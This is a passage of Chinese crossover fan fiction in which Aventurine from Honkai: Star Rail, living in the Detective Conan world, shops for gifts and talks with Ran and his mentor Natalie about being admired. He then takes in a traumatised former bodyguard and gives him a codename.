有些恶趣味的家伙不给他捣乱就不错了,砂金还是更习惯从慈玉女士的手里抢点活干、顺便吐槽两句托帕的“心慈手软”, 至于交往还算密切、经常进行合作的拉帝奥教授……教授就差在他的研究所门前立个牌子写上“赌徒和白痴勿扰”了,砂金也不喜欢去学校旁听对方授课的那些深奥难懂的知识与理论, 有那个时间,砂金不如再去赌两把、创造创造新的财富与价值。 所以,“探班”对砂金而言成了一个很新奇的体验。 那探班需要做些什么准备呢? 砂金不知道, 但他有自己的“万能”处理方案。 …… 听到砂金也有想去帝丹高中的打算,顺势插了句话、想和砂金一起走,同时也借机会想多观察观察砂金的柯南……一脸无语地陪砂金又逛了一圈奢饰品专卖店。 砂金刚一踏进店门,就有店员认出了这位出手阔绰的贵客,热情地上前介绍起各种商品,把那些手饰珠宝夸得那叫一个天花乱坠、听得柯南暗暗吐槽, 难道砂金看起来很像“冤大头”吗? “打包,这些我全要了。” ……好吧,确实像。 “柯南有什么喜欢的吗?”砂金一边向快笑成一朵花了的店员递出银行卡,一边道,“我顺便一起买了。” 柯南连连摇头,“不了不了,我……我不喜欢这些东西啦!” “那柯南觉得女孩子会更喜欢哪一个礼物呢,”到了个新柜台前的砂金向柯南询问道,“我在这边先挑了三件,一条项链、一枚戒指还有一块女士手表。” 柯南吐槽归吐槽,但也很认真地为砂金出主意,“是要送给伊达老师的吗,我觉得应该是手表好一些吧……” 项链和戒指这种有些特殊含义的礼物,不太适应当众送出去,柯南思考地很全面,有些不知情的人会说不定会乱传些什么东西,尤其是这些礼物还很贵重、容易让某些人眼红。 不太了解这边的风俗、所以专门问了柯南意见的砂金点点头,指了下那块镶嵌着碎钻的手表对店员道,“这件单独打包给我,其他的还是送去之前的那个地址。” 所以最后也还是全要了啊? ! 柯南抽抽嘴角,看着砂金又清空了一面柜台,没过一会儿、砂金就搬空了半个店面,在店员点头哈腰送财神的目送下离开, 钱也是哗哗的流了个精光,砂金看了眼账单上的余额,没什么特殊的反应,不过是抽空再去赌场玩两把的问题罢了,给娜塔莉夫人探班更为重要。 没错,砂金的“万能”方案就是——买东西、送礼物。 柯南对砂金的感观也更加复杂起来,说砂金对娜塔莉不上心吧,他会专门过来大采购,可要说砂金是认真的……但只是送昂贵的礼物就可以表示心意了吗? 看着砂金接过打包好的小礼物盒、心情很好的样子,柯南又觉得他好像想多了, 也许在砂金看来,送越多越贵越好的礼物、就代表他越是用心? 这种价值观……不用说,也知道这不太健康,但也足以让柯南更一步看清砂金这个人, 像是…… “砂金哥哥是隐瞒身份、出门历练的那种豪门继承人吗,”柯南拉了拉砂金的袖口,假装发现了砂金秘密一样小声说道,“我在电视上见到过和你一样的人哦,你骗不过我的!” 工藤新一怎么好像突然变得更幼稚了……想着,砂金干脆当对方连脑子带身体一起变小了吧,随口解释道,“我还真的不是哦,我小时候也没有现在这么有钱。” 见砂金此前对店员一些“夸大其词”的介绍没有反应、柯南就隐约猜到砂金并不是那种从小被培养的有钱人家的孩子了,现在砂金的回答更加肯定了柯南的猜测。 砂金现在像是小时候吃尽了苦,知道了财富的重要,所以一鼓劲儿的只想把他觉得好的东西全堆到他在意的人身上, 又或者除去金钱财富,在处理人际关系上好像游刃有余的砂金本人其实并不擅长真心地与谁交往。 如此一来,砂金的危险性……好像有所下降了,柯南一时不懂自己那奇怪的侦探雷达和直觉了,不过有一点不需怀疑、 柯南诡异地放下了些许戒心,能被小孩子形容成是“冰淇淋球”的人,就算是个坏人, 也不会是纯黑的那种人吧。 —————————— 下一站的目的地是帝丹高中……校门口,砂金上一次来也只是在校门附近逛了逛,他也不知道娜塔莉的办公室具体在哪儿。 不过砂金有办法解决这个问题——毛利小姐是娜塔莉夫人的学生,找到毛利小姐问一下不就好了?顺便还可以把柯南也交到对方手里。 两人也没等多久,毛利兰和她的好友、铃木园子结伴走了出来。 铃木园子的眼睛对帅哥仿佛有特殊滤镜一样,一眼就看到了目标,拉着毛利兰快步迎上去,“午好呀,砂金先生,正好我有事想找你来着!” 除了颜控影响外,上次派对上的愉快体验让铃木园子对砂金的好感更高了几分,虽然砂金说话有些时候会让人觉得怪怪的、但那种感觉并不会让人觉得很是讨厌, 第一次见面时的“以貌取人”以及“自大妄为”,也完全是因为砂金在关心小兰嘛! 骂一骂想伤害小兰的凶手又不犯法,铃木园子觉得那些都可以接受,而且有点“不太聪明”、但人其实很不错的帅哥也更可爱了呢。 “那我们很有缘啊,”砂金也不急着先说自己的事,礼貌地向铃木园子问道,“请问是……?” “过段时间,我伯父打算举办一个海上珠宝展,我这里有些多余的船票和邀请函,” 想着砂金都请她参加派对了、应该礼尚往来的铃木园子向砂金发出了邀请,“砂金先生要不要一起来玩呢?” 100-120 第101章 海上……珠宝展?听起来好像不错的样子, 砂金欣然应下,“我的荣幸,有机会的话我一定赴约。” 要看这个世界给不给面子的待办事宜又多了一件,砂金将珠宝展一事也安排到未来的计划中、排在了校园祭之后。 “好,那就这么说定了, ”铃木园子心满意足,下一秒就暴露了真实意图, “有帅哥同行,如果能再遇上基德大人、来一场美美的邂逅就更完美了!” 铃木园子对她伯父的珠宝展并没什么兴趣,身为在顶级财阀中都数一数二的铃木集团的千金二小姐,再宝贵的珠宝都只是她小时候丢着玩的小玩具罢了, 但有人会有兴趣, 而且还是很大的兴趣——那就是,怪盗基德。 听着好友的期待,毛利兰都不知道该不该同情一下铃木伯父了,铃木伯父立志于抓捕到那个只会耍魔术的小偷,园子却格外喜欢基德的帅气作风、把珠宝展当成偶像见面会了。 柯南死鱼眼,他是一点都不意外铃木园子的真实所想。 “麻烦砂金先生送柯南过来了。”上一个话题接不了话,那干脆进行下一个好了,毛利兰拉过了柯南的手向砂金道了声谢。 被铃木园子口中的“基德大人”勾起了些好奇心的砂金很快回到正题,“不用谢,我正好顺路罢了, 对了、有件事还要麻烦一下毛利小姐和铃木小姐了,” 砂金说明了来意,“请问一下, 娜塔莉夫人的办公室在哪里,我想来探探班。” 毛利兰:“啊, 要不我来带一下路吧。” 砂金:“这怎么好意思……” “没关系,”毛利兰揉揉柯南的头,“离得并不远,花不了多长时间的。” “那就多谢了。”砂金没再拒绝,只是想着回头再给毛利小姐送些东西吧。 “可惜和我家司机大叔已经约好了,今天要去我姐姐那一趟,有些赶时间。” 铃木园子遗憾地叹气,虽然是个标准的富家子弟、但铃木园子很是接地气,不打算推迟和司机约好的时间、给人家的工作添麻烦,便对毛利兰道,“那我先走了,” “还有砂金先生,请柬这两天就会送到你那边、请注意留意哦!” 砂金拜拜手,“放心,我会注意的。” 巧合是运气的一种表现,他也期待珠宝展会带给他什么“惊喜”。 …… “……从这个楼梯上去,二楼左拐直走、左手边第三个门就是娜塔莉老师的办公室了。” 带着砂金这个外来人员登好记,很快、毛利兰领着砂金就到了娜塔莉所在的办公室楼下——毛利兰没说谎、这里离得确实不远。 毛利兰想了想又道,“现在刚放学不久、娜塔莉老师应该还在办公室,如果不在的话、可以再去食堂看看。” 有些值班老师中午不回家,就会在学校食堂解决一下午餐。 “谢了,毛利小姐,”砂金当然不会再麻烦对方把自己带到楼上去,他已经耽误了毛利兰一会儿的时间了,“我自己上去就好。” “还有……” 将要分别之时,迟疑了一下的砂金又问出了那个问题,“毛利小姐,如果让你用一个词来形容我,你会说些什么呢?” 毛利兰是他遇到的第二批人,应该可以作为他今天第二个词语的提供者。 第二次听见这种类似问题的柯南猛得抬头看了看砂金,这时候再看不出来这个问题对砂金有多“特殊”……那名侦探的头衔就可以扒下来煮煮吃了。 但知道了又如何?柯南沉思着,只是问个问题而已,砂金又没有杀人放火、这并没有什么不可以的地方。 不知道前提的毛利兰停下脚步,她的性格导致就算她看不出来这个问题的重要性、也依旧习惯性地认真思索了一会儿,回答道,“应该是……” “勇敢吧?” 又是一个有些奇怪的形容词。 “……我可以再问一下毛利小姐…呃,为什么吗?” 砂金本意不想再打扰毛利兰的,但今天接连问到的两个答案都让他有些意外,“冰淇淋球”一词暂且不提、一般人的确理解不了这是什么意思, 但“勇敢”却是个很常见也很普通的词,不难让人理解,只是砂金不知道为什么这个词会和自己挂上钩。 砂金和毛利兰的第一次见面,毛利兰和工藤新一在英雄救美,认真算起来,砂金也算是被救的那一个; 再后来是为了进入聊天室、砂金主动去找的毛利兰,说了一大推在别人看来可以有些傻的话后就相互分别了; 再多的便在波洛咖啡厅和多罗碧加的偶遇,然后就是前段时间、迟来的派对聚餐…… 要说毛利兰见过他在赌桌上梭/哈的样子,那砂金还能把“勇敢”理解成是对他胆大妄为的委婉表达,可实际上他和毛利兰的几次交际都和“勇敢”这个词毫不相干。 所以,砂金问出口了。 “嗯,因为啊……”毛利兰一句话让砂金差点愣在当场,“这是个对砂金先生而言完全陌生的世界啊。” 不等险些以为毛利兰看穿了他“外星人”身份的砂金再作反应,毛利兰继续道:“在医院的病床上刚刚醒来的时候,陌生的人、难寻的过去、迷茫的未来、手足无措的现在、还有这个全新的世界,” “一切的一切,一定有让砂金先生你感到迷惘恍惚吧。” 砂金慢一拍地反应过来,毛利兰说的是他“失忆”的那件事,至于当时发现自己到了另一个世界的感受……迷惘?恍惚?或许有那么一丁半点吧? 砂金已经想不起来那时自己是什么反应了,也许只是“习惯”了呢? 毛利兰很敬佩地向砂金道,“如果是我,我一定会感觉到很害怕的,我的胆子其实也不大。” 毛利兰害怕很多东西,害怕妖怪、害怕鬼故事,害怕有人受伤、害怕有人死去,害怕爸爸妈妈从此一别两宽、害怕和在意的人吵架绝交, 如果是她,毛利兰想,一觉醒来、遍体鳞伤,什么都没有了,自己一个人在一个完全陌生的地方无依无靠,有的只是警察告之她的寥寥数语…… 没有记忆其实也并不可怕,记忆可以找回或者是重新拥有,过去已经过去、重要的是现在和未来, 真正可怕的是没有家人、没有朋友,真正意义上的孤身一人。 要是连认识她的人都不存在,连愿意陪她一起找回记忆的人都没有,连同会安慰她没有记忆也没关系、他们可以一起重新开始的人都被她弄丢了,她都不知道自己接下去应该怎么办了。 “砂金先生能这么快的打起精神、接纳起这个一开始对你而言并不友好的新世界,开始新的生活,这就足以证明砂金先生拥有一道十分坚韧的灵魂了,” 毛利兰肯定地道:“融入世界、重新开始,也是需要莫大的勇气的。” 尤其是只对“一个人”而言, 因此,毛利兰认为砂金先生很勇敢。 第102章 “咚咚——!” “请进, ”留下值班还没走的娜塔莉放下手头的卷子,抬头看向门口,“是有什么……砂金?” 询问的语气在见到来人时一瞬间变得惊喜, 娜塔莉很意外能在这里见到对方, 但是…… “你好像不太开心, 孩子?” “怎么会, ”与毛利兰分别了的砂金,这时笑脸盈盈地迎上来,顺手把准备好的礼物放在了娜塔莉的桌子上,“铛铛铛!看看喜不喜欢~” “坐下休息会儿吧, ”娜塔莉也笑笑, 给砂金找了空闲的椅子让人坐在自己身边, 至于礼物…… 娜塔莉打开看了看,很喜欢的当场换上新的腕带, 精致小巧的女士手表和仿珍珠的手链叠戴在纤细的手腕上很是漂亮, ——这孩子今天情绪好像不太好,就不推脱来推脱去的废些无用的口舌了。 “是遇到什么困扰了吗?” “哎呀,就不能是我想念我们美丽的娜塔莉夫人了吗~”砂金不见外地趴在桌子上,竖起根手指在桌子上转起硬币筹码来,金属的小玩意呼呼地转得飞快。 娜塔莉也没制止砂金小孩子一样玩耍的举止,“当然可以,只是我不希望你在我这里还无法放松自己, ” “我说过的吧,我偶尔也是需要被人依靠的那种类型呢。” 不是希望砂金来依靠她,而是她需要被人依靠……砂金不再犹豫, “让我想想,我该从哪里开始讲起……” 如果说伊达航像是父亲那般的人, 那娜塔莉无疑便是最佳的母亲的角色扮演者,砂金愿意为娜塔莉让步。 “娜塔莉夫人,你有遇到过将你奉为神明的人吗?” “这真是……”娜塔莉摇了摇头,“抱歉,我并没有这样的殊荣。” “殊荣?” “没错,能被他人奉作神明、这绝对是一件很荣幸的事,”娜塔莉温柔地看向砂金,“所以你是遇到了这样的人了吗?” “嗯,而且还不止一个。”在娜塔莉面前,砂金比在萩原研二他们面前要坦率得多,“我只是在想,什么都没有做过的我,有资格成为别人的神明吗。” 娜塔莉有些哑然失笑,“那砂金,你有信仰过什么吗?” “自然是有。” 从儿时的芬戈妈妈到加入公司后的琥珀王,砂金的信仰与追随从未停止。 “那……你所信奉着的神明,有特意地为你、在实际意义上的做过什么事吗?” 娜塔莉的提问让砂金微微一愣,指尖的筹码嗡嗡一声倒在了桌面上, 特意为他? 在实际意义上做出什么事? 开什么玩笑,他何来这么大的面子让戏谑群星的神明为他专门去做些什么? 一道祝福、一瞬瞥视,就足以令他的人生发生翻天覆地的改变,又何需向神明乞求更多。 “你此时的所想,也是他们的所想。”娜塔莉答道,“你该再自信一点,砂金,成为神明的要求没有那么高,比如……” “听说过九十九神的故事吗?” 娜塔莉的声音很轻,但也很清晰,如同和自己的学生讲起故事那般温和,“器物弃置百年,化身成为九九神……你看,不需要任何严苛的条件,只是积累时间,” “普通的器物也可以成为神明、踏上那条通往高天原的路。” 砂金也安安静静的听着,尝试去理解娜塔莉口中的言语——同样的道理,萩原研二也能说,但萩原研二保持沉默、他知道他和砂金的关系还不到能交心而谈的这种程度, 所以萩原研二让砂金自己去寻找答案,萩原研二所言无用,砂金自己找到的才是解药。 “重要的并非是否有资格,而是……不管是什么原因,在你被奉作神明之时、你于他人而言就已经是神明了,这是不争的事实。” “哪怕我一无所为?” “哪怕你一无所为。” 【不需要原因,老师……您的存在于我这种人而言便是救赎。 】 格查尔的声音回闪而过,砂金想,他大概明白一点了。 “介意告诉我,你的小信徒现在是什么情况吗?”娜塔莉觉得砂金不开心应该与对方有关。 “没什么,他死了,死得挺有价值的。”砂金还是那句话。 娜塔莉大概明白了,“那你为他做了什么?” “什么都没有做,”砂金回道,“他想要的只有自由,所以我给了他选择的权利。” 不管是何结果,都是他的绝对自由。 听上去……这是一个很悲伤的故事啊,娜塔莉抬手轻轻揉了揉砂金的头发,把砂金打理好的发型揉乱了几分, “那你不是已经做得很好了吗?” …… “总是这样我也会有压力的啊,”砂金无奈地理了理垂到眼前的发丝,“只是因为片面的接触,就匆匆地偏信于我,好像是被溺爱的孩子一样……” “也就是我的运气足够好,才总是会碰到大家这样的人吧。” “还有谁也夸赞表扬你了吗。”娜塔莉从砂金的小声抱怨中捕捉到了更多的信息。 “有刚认识的小孩,还有毛利小姐,”砂金道,“他们说我像是那种会捂化的冰淇淋球,说我是个敢于重新开始的人,但这何尝不是他们的片面之词。” 所以砂金只是对吉田步美和毛利兰的所言一笑了之。 “你更常听到的是一些负面的词汇吗,”娜塔莉问道,“不用去管他们说得是否正确,你只需要回答我是、或不是。” 娜塔莉并未去问及砂金的记忆之事,伊达航没有和她说过什么,但娜塔莉本身也是敏感的性格,她能感觉得有什么在静静的改变。 这一时,砂金觉得娜塔莉比混沌医师更像是混沌医生,至于面对混沌医师、他还做不到如此开放心怀,他回答:“是。” 娜塔莉:“对你做出负面评价的人中有萍水相逢、或是像毛利同学那样交往并不深的人吗?” 砂金:“是。” 娜塔莉:“那便没有问题了,我想你应该也知道的吧……毕竟你是个很聪明的孩子。” 砂金:“……是。” 不需要娜塔莉再多说,砂金自己知道,那些负面评价,也不过是片面之词罢了。 “既然连那些不好的形容都能坦然接受,”娜塔莉温柔地反问道,“那为什么不用同样的态度去对待他人的善意的,去接受一下试试看,你会发现……” “其实被崇拜成神明也好,被夸赞喜爱也好……它们并不烫手,你也值得被那样对待,” 娜塔莉道:“把对好运的自信分一点给自己吧,砂金。” “……我会试试的。” 砂金会听娜塔莉的话是因为……伊达航救下的是他命,但最开始带他接触这个世界、一点点教他习字的人还是娜塔莉。 在公司,砂金会尊敬他的引路人、翡翠女士;在这里,砂金也不会去顶撞娜塔莉夫人,娜塔莉夫人提出的建议他同样会认真考虑的。 “还有什么疑惑吗,” 娜塔莉歪了歪头,冲砂金眨了下眼,“趁现在可以一起说出来哦,我很开心砂金你愿意和我多聊一会儿,谁让高中的孩子们总有些叛逆期、不愿和我这个老师多说说话呢。” “不要太谦虚了呀,娜塔莉夫人……”砂金直起身,笑得比之进门时自然得多了,“您肯定是最受学生们欢迎的老师。” “那……我也就不客气了,” 砂金问道,语气里不自觉得带上了些面对亲近之人的放松感,“娜塔莉夫人,请用一个词来夸夸我吧。” “这种要求以后可以再多提几次,”娜塔莉不吝啬于自己的偏爱,“我知道你是一个……” “好孩子。” …… 天色已然暗了下去,台灯亮起,灯光照亮下的笔记本上……依旧是一遍空白。 笔竿子在手指间转出了残影,砂金头都没抬地开了口,“回来了?今天玩的开心吗。” 【那是自然,我可不像你、尽因为一些无所谓的事而给自己找不痛快,】 「砂金」泛现在砂金身边,接着一屁股坐到了桌子上,一低头也看到空白的笔记本。 【不会吧,难道你今天一点收获都没有? 】「砂金」故作惊讶地问道,【我们的常胜将军终于要一尝败绩的滋味了吗,真可惜我不是忆者、没办法记录这值得珍藏的一幕,】 【不然我愿意将这段记忆化作的光锥命名为“翻车时刻”。 】 今天可马上就要过去了,和萩原研二的赌约也快结束了。 砂金:“……鸡翅膀头下咒的时候肯定吃错药了,你的欢愉味越来越重了。” 【不好意思,可能是今天玩得太开心了、一时没收住。 】「砂金」嘴巴上在道歉,实际上还是在炫耀他今天和卡卡瓦夏玩得有多快乐。 简单而说,「砂金」现在有些欠揍。 “那让你失望了,”砂金咬着重音道,“我今天过得也、很、不、错!” “还没动笔是因为我在等你回来。” 说完,转动的笔杆停在手中,砂金如同第一天时一样流畅顺利地写下他今天找到的词汇,「砂金」一个字一个字地读出来, 【冰淇淋球,勇敢,还有……好孩子? 】 「砂金」不去怀疑这几个词是不是砂金随意编造的,他只是好奇,【只有三个,朋友……你还少两个。 】 “这就是我在等你的原因,”砂金勾唇笑得很是轻松,“审视自己这件事,由自己来做不是更好吗?” “同谐的新生儿,现在到你给我一个答案的时候了。” 【……哈,我相信你今天过得也不错了,】没想到这个问题最后会转到自己手上的「砂金」伏身凑到砂金耳侧,【你确定下一个词要从我这里找吗? 】 【你知道的,我向来不会说什么好听的话。 】 “我万分确定。” 既然娜塔莉夫人让他“自信”一点……砂金掀掀眼皮,笑容开始变得张扬起来,“朋友,你该不会是脑袋空空、想不出来词吧?” “这就词穷了?” 【你可真记仇,】「砂金」也是轻笑一声,【那就拿起笔吧,你该写下的下一个词是、】 【——卡卡瓦夏。 】 剖去其他种种,还有比“卡卡瓦夏”这个词更适合形容砂金的吗? “……”砂金的笔尖顿住,“这是不是和昨天的词语重复了?” 昨天的词语是——母神赐福之子,爸爸妈妈的孩子,姐姐的弟弟,幸运与机遇,埃维金最后的血脉。 以上都可以用“卡卡瓦夏”一词一言概括。 【不,并没有哦~】 「砂金」饱含深意地道,【正向的标签也好、负面的标签也罢,当我们赤条条地降生这世上、发出第一声啼哭之时,在母亲为我们定下姓名之前,这具身体仅是没有任何含义的一堆血肉而已。 】 幸存者是不幸的另一种代名词,除去明了的负面标签,“赐福之子”这种称号何尝不也是来自母神的一种诅咒? 卡卡瓦夏永远幸运,砂金永远不幸。 砂金抬首与「砂金」对视,「砂金」毫不退让地继续道, 【去除那些标签,你也可以只是你。 】 笔尖还是动了起来,砂金写下自己曾经的那个名字,却又道:“但你应该明白,我是去除不了那些标签的。” 不是做不到,而是砂金不愿去做。 放弃仇恨、归入平静的生活,或是放弃母神的祝福、选择用无意义的死亡结束一切……砂金不可能接受那样的人生与结局。 【我当然知道,】「砂金」不打算改变砂金的选择,【我只是想提醒你,该放松的时候记得放松一下……】 【你要是死得太快,还不如把身体留给我呢。 】 “我会的,”砂金笔尖不停,接着写下来最后一个词,那便是 ——砂金。 最后一个词汇的报供人是砂金本人,砂金也觉得剖去其他的一切,没有比这个词更能形容自己的了, “我必会为自己,准备一场盛大的谢幕。” …… [喂喂,砂金酱~深夜来电打扰啦! hagi我呢、是想来问问我们之间的赌局怎么样了的……嗯,十二点的指针已过、结果应该出了吧? ] “已经出了,我亲爱的朋友。” [那真是太好了,我想……是hagi输了,对吗? ] 第103章 窗外的鸟雀叽叽喳喳地在树枝上蹦了又蹦,阳光从窗帘缝里钻了进去……原本轻瞌的眼皮颤了颤、缓缓睁开, 叫醒砂金的并非鸟雀或是阳光,而是进入到他的感知范围内、并且已然越来越近的一道不熟悉的气息。 有人来了, 砂金想, 大清早的会是谁来找他? 铃木小姐那边来派发请柬的人? 然而…… 还未开门,浓重的血腥味先一步扑面而来,事情好像没有那么简单。 门铃声此时才响起, 砂金匆匆披上外衣, 朝大门的方向走去,还没等走近、就看见一道算不上完全陌生的人影老老实实地站在铁门外。 砂金脚步一顿、接着不停地向来人迎去, “朋友……” “主人。” 同时响起的两道声音让双方纷纷沉默,门外的人是没有什么要说的了,而砂金是没有什么可说的了, 琥珀王, 还有母神啊……砂金又想, 他才接受自己可以“成神”的可能,倒也不必转头就给他送来一个新“信徒”吧? 门外叫着他“主人”的家伙……不正是那天从埃多阿尔多.鲁索那里诓来的保镖先生吗? ! 那天有多么惊险,自然不必多说,砂金没想到过去了这么久,对方竟然真的活着、而且还找回来了。 换了从前,砂金大概不会去管对方的死活,他其实并没有托帕那样的“好心肠”、也不是爱多管闲事的人,他只会给保镖一些足够的钱财、让保镖自己去另谋生路, 因为他这里并不缺狗。 但是,现在是现在…… 审视的目光扫过对面之人偶尔暴露出来的皮肤,单薄的衣服下缠着绷带,血腥味的来源也是对方,对方是专门处理过伤口、整理妥当后才选择来找的砂金。 砂金不说话、那人也不作其他的反应,曾经的保镖就那么孤零零地站着,铁制的栅栏大门隔在两人之间,单单看过去又像是个巨大的牢笼禁锢着双方中的一人, 一如曾经的砂金。 格查尔,你的这份“礼物”,实在是有点难处理啊…… “进来吧。” 算了算了,既然活着回来了……那这也算是一种好运,接下来就继续活下去吧。 短暂的沉默过后,砂金还是打开了铁门,将人带进院子里、房子里、以及自己的庇护范围内,“别叫我主人,其他随你。” …… 在今日的清晨,砂金在家门口捡到了一只无家可归的流浪小狗。 —————————— 纠正一下, 是机械狗, 而且还是智能有限的机械狗。 …… “你不能把鸡蛋和牛奶都放在微波炉里加热,因为会爆炸;你也不能只用绷带固定断掉的胳膊,因为骨头会长错位;你更不能把我等一下要穿的衣服进行二次加工,因为那是特殊设计、不是破洞……” 砂金疲惫地坐在沙发上,他的对面坐着的则是老老实实垂着头的“保镖”——如果不是砂金阻拦,对方更想跪在地上向砂金道歉。 今天仅是砂金收留对方的第二天而已,他就收获了一连串的“惊喜”。 可能是因为头天砂金对这家伙有些冷淡,给了对方心理压力,害怕自己再被主人送人的保镖终于开了那么一点窍、想到了要去做点什么证明自己的价值。 于是,做早餐……保镖把鸡蛋和整盘牛奶放进了他唯一会用的微波炉里进行加热。 再于是,砂金在凌晨四点半的时刻,被发出了尖锐警报声的烟雾报警器叫醒,收获了天花板上正在“下雨”的战损版厨房。 等砂金着急忙慌地去找保镖时,又在楼下的卫生间里找到了想去打扫卫生,但不知道撞到哪里、伤口开裂正在暴力包扎的保镖和一地红彤彤的血水, 不知道的还以为保镖这是在杀人灭口、毁尸灭迹。 砂金还能怎么办?只能先放下一片狼藉的厨房不管,先来帮同样战损版的保镖先生处理伤口。 终于完事、空闲下来,把睡衣弄脏了的砂金在想换衣服的时候,才发现保镖不知道什么时候对他的衣服进行了很细心的二次加工, 衣服上的针脚很完美,和外科手术的医生缝合伤口似的,不一定好看、但绝对结实……可保镖缝上的是设计师专门留出来的洞啊! 衣食住行,方方面面……保镖先生主打就是一个全面性自动闯祸机。 报废了好几件大衣、又稀奇古怪的忙了一清早的砂金沉默了,还好他发现的快,再给对方几天时间……别说衣服了,他觉得这房子都能被保镖拆了。 果然,有对比、才有突出,由些可见格查尔是多么的“贤惠”了, 也由此可见曾经和保镖一样的236用了多大的心血,才让自己看上去像是一个正常人——格查尔有努力过、但真的太累了。 “抱歉……”保镖的声音很小,还有点颤音, 他知道、他闯大祸了。 “没关系,你不懂很正常。” 砂金理解对方的笨拙,正常人很快就能掌握的东西、对对方而言要花上数百倍的精力都不一定能够理解,所以砂金和保镖说话用的也都是直接了当、更易懂的方式。 嗯,理解归理解,心累肯定还是累的,缓了会儿、砂金对保镖道,“给我一个名字吧。” 既然决定收留对方了,那就要用心一点了——这闹得一场混乱却莫名闹出了砂金的责任感,保镖和格查尔不一样、这位不能散养,不然有些伤厨房。 而砂金之前在找对方、却叫不出名的时候便发现了,对方需要一个新名字——总不能一直保镖先生、保镖先生的叫吧。 “我……” “如果是数字编号之类的称呼,那就请闭上嘴。” 保镖依言安静了,砂金又是沉沉地吐出了口气,他不得不承认一件事……那就是,他捡回了一个麻烦。 【也是一个难得的好筹码,】「砂金」坐在无名的保镖身边,和看不见他的保镖勾肩搭背,【当了好一段时间被他人照顾的“小孩子”,要不要再试试一下“家长”的角色? 】 【你看……】 无形的手想勾起有形之人的脸,结果摸了个空的「砂金」哈哈一笑,【这是一张被强行漂白的空白答卷,你想怎么作答都行,你就是唯一的正确答案,】 【你甚至可以把他养成另一个“你”,】 给自己塑造一个可以分担压力的“同类”,不至于孤苦伶仃, 【也可以让他替你过一过你曾经羡慕过一瞬、却不得不放弃的生活,看看你曾经到底放弃了些什么……】 又到底会不会后悔。 【所以要来试试吗? 】 …… 砂金只是回答,“我是资本家,可不是奴隶主。” 第104章 【你这是在避重就轻。 】 “你也只是在恶意试探。” 砂金没打算去跳「砂金」有意引诱的陷阱,他自认不是什么道德高尚的人,但也不至于去做什么“人性实验”。 至于面前这个大/麻烦…… 保镖像是个混血儿,和格查尔柔和的外表不同、是有些偏西方的那种长相,一头金色的粗糙短发下是一张苍白没有血色的脸,此时浅蓝色的眼睛正一动不动的盯着砂金看, 砂金无法从那双眼睛里看见除恐惧之外的任何感情。 制造对方的上位者只留下“恐惧”用以控制对方,剩下的其他……如果保镖想成为一个正常的人,其他的一切都要像婴孩牙牙学言一样从一片空白学起。 那保镖自己想回归正常吗?他能有格查尔那样的坚持和追求吗? 砂金不知道。 “喂, 群织……”砂金打通了八木海的电话,“我有个事想和你商量一下。” 砂金少见的主动联系让八木海很是惊讶, [请尽管说!老大我肯定尽力帮你! ] 在安室透的协助和引导下,八木海也有所成长,她已经渐渐开始适应“领导者”的身份了,而不是被下层拥着找不到自己的位置…… 嗯, 不过“社恐”和“中二”一事还得慢慢治。 砂金又看了眼在不自觉紧张的伤患, “我打算带个人入伙,请老大给个代号怎么样?” 保镖好像听懂了什么,眼睛都不敢眨了的继续盯着自己的新主人。 [入伙?啊,我想想,]八木海愣了下,说话有点混乱,[是谁……]谁值得让砂金向她引见? “格查尔的……朋友,和他是一样的。”砂金这么回答八木海,“他现在需要一个新的称呼。” [我懂了, ]格查尔死的时候,八木海也挺不舒服的,虽然那是个喜欢和她拌嘴的坏蛋,但……八木海不知道该怎么说, [那就叫…… ] [伯劳吧。 ] 没什么特殊含义,八木海也没那个脑子想太多,屠夫鸟……其实是当初和格查尔吵架时,她生气暗戳戳地想要安在对方头的代号, 杀手和屠夫差别应该并不大吧? “好的,那蜂鸟那边也要麻烦老大去提一声了。”砂金收下这个代号,他也并不在意这种鸟的深意, 他只是需要给保镖挂个名。 八木海组建的这个小团体……乍一眼看上去像是为了满足八木海这个天才的胡闹而成立的,如同小孩子办家家一样草率、随意、不可靠, 不过……八木海对政治的确不敏感,但她背后还有安室透。 连八木海这个什么都不懂、甚至还更偏向犯罪者的小孩子都知道不能让卧底的警察寒心,安室透这个当事人又怎么可能不被触动。 于是在安室透的暗中操作下、这个名为“nest”、目前实际上也仅有三个人存在的小组织,硬生生地在黑与白之间撕开了一个口子, 成为了真正的庇护着“灰色人员”的温巢——只要有八木海这个无人愿意舍去的核心存在一天,她名下的这个团体就是一把永远无人可以攻克的庇护伞, 这也成了安室透为一些特殊人士准备的、最后的退路。 如果卸磨杀驴的那一天终归会到来,安室透还有机会将那些不得不手染血污的前辈和同事们,以“仍可合作的犯罪者”的名义吸纳到nest中、保下他们, 污名可能无法洗去,但至少还能留下一条性命。 这也算是安室透为了同为卧底的幼驯染而留存的私心——自己死没关系, hiro得活着。 砂金让保镖在八木海这挂个名,同样是为了借助这个特殊的保护伞给保镖一个机会——即使刀杀了人,罪也该挂在持刀人的身上,而非一把彻彻底底、没有自我人格的刀身上,不是吗? “作为神明……”砂金挂断电话,自言自语着,“做到这个程度上,已经足够了吧。” 所以,保镖他自己如何想的已经不重要了,砂金只是给了他一个可以重新为人的可能而已,最终是何结局……与砂金的关系也并不大, 砂金本意并非干预这个世界、这个国家的规则律法从而保下对方。 就算保镖必须为自己曾经的所为付出代价,因着格查尔的缘故、砂金也只希望到那时,站在审判席上接受判决的是一个“人”、而非一把替罪的“刀”, 在安室透那过了明路、留个记录,那保镖在被审判之前就能有机会去寻一寻“人”该走的那条路了。 除此之外的,砂金并无他想, 砂金向来不是一个烂好心的人。 【只是有些少见的责任心,】「砂金」说道,【恭喜你有机会感受一把为人父母的辛劳了,这可真是新奇的体验。 】 也不知道母神这次的“安排”是为了什么,「砂金」摸摸下巴,不过可能砂金这辈子,也只会体验这么一次吧——在星际,砂金可不敢这么乱发“善心”,那是会死人的。 砂金被「砂金」形容的有点牙疼,干脆无视看热闹的「砂金」、对保镖说道,“我暂时给你找了一个代称,叫伯劳,” “我的……新名字?” “不,只是代号,”砂金说,“我给你的唯一任务就是找到可以替换这个代号的名字。” “……我知道了,”保镖……不、现在是伯劳点了点头,“……任务的时限?” “你的一生。” 养孩子……应该不难吧?砂金想着,虽然没干过这种事, 但他有自信接受挑战! …… 砂金打算收回前言。 “喂、娜塔莉夫人,是我……不好意思打扰一下,”当天,砂金就被逼的开始场外求助了,“您可以……呃,” “可以把您之前给我看过的那些儿童读物的链接,发给我吗?” 砂金平时也有看书阅读的习惯,但很遗憾、砂金书架上的那些书,伯劳他看不懂。 砂金让伯劳去读书,想着知识多少能有点用处, 